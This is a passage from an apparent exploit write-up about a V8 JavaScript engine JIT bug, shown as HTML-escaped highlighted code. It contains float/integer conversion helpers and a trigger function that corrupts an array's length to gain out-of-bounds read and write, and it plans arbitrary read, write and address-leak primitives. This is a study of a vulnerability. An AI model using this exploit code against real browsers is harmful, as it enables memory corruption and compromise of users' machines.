&lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;int_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;float_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;smi2f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;int_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;float_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f2i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;float_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;int_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f2smi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;float_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;int_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;smi2f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;smi2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We can now implement our idea. Since the code had started to get a
little more complex, I also started to add in some small test cases
that will help me figure out if things were going fine or wrong.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_rw_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// The arrays we shall target&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Trigger the actual bug&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;// Real: 1, Feedback type: Range(0, 0)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Move over to the length field for `b`&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;// feedback: 0&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Change the length to 1024 * 1024&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;smi2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Expose OOB RW buffer to outside world, for stage 1&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_rw_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;[FAIL] Unexpected return value in unoptimized trigger&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;[FAIL] Unexpected return value in first-level optimized trigger&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;[FAIL] Unable to trigger bug&amp;quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_rw_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;[FAIL] Triggered bug, but didn&amp;#39;t update length of OOB RW buffer&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It was at this point that I noticed that from this point forward, I
would, for the most part, be unable to use the debug build. The reason
for this is that performing an OOB RW using &lt;code&gt;oob_rw_buffer&lt;/code&gt; caused a
dynamic debug-time check. Thus, I switched over to using the release
build from this point forward. I did temporarily switch back to the
debug build from time to time, in order to better obtain offsets for
exploitation, but otherwise, I relied almost entirely on the release
build.&lt;/p&gt;

&lt;h2&gt;Powerful Primitives&lt;/h2&gt;

&lt;p&gt;Now that we have an OOB RW primitive, we can start to craft more
useful primitives, namely &lt;code&gt;arb_read&lt;/code&gt;, &lt;code&gt;arb_write&lt;/code&gt;, and &lt;code&gt;addr_of&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;arb_read(addr)&lt;/code&gt;: Reads 8 bytes from &lt;code&gt;addr&lt;/code&gt; and returns as a &lt;code&gt;BigInt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arb_write(addr, value)&lt;/code&gt;: Writes the 8-byte &lt;code&gt;BigInt&lt;/code&gt; value to &lt;code&gt;addr&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;addr_of(o)&lt;/code&gt;: Returns the address of the object &lt;code&gt;o&lt;/code&gt;. This &lt;em&gt;should&lt;/em&gt;
give the same value as what &lt;code&gt;%DebugPrint&lt;/code&gt; returns.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unfortunately, in order to design these primitives, we are going to
need to modify the &lt;code&gt;trigger&lt;/code&gt; function above one last time. This is
because we need to introduce two more arrays that should be allocated
immediately after &lt;code&gt;oob_rw_buffer&lt;/code&gt;, and then use those to give us the
primitives we need.&lt;/p&gt;

&lt;p&gt;Modified &lt;code&gt;trigger&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer_unpacked&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer_packed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;undefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;trigger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// The arrays we shall target&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[{},&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;2.8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;3.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;3.2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;3.3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;3.4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Trigger the actual bug&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_auxiliary_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;minusZero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isstring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aux_a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;aux_z&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;// Real: 1, Feedback type: Range(0, 0)&lt;/span&gt;

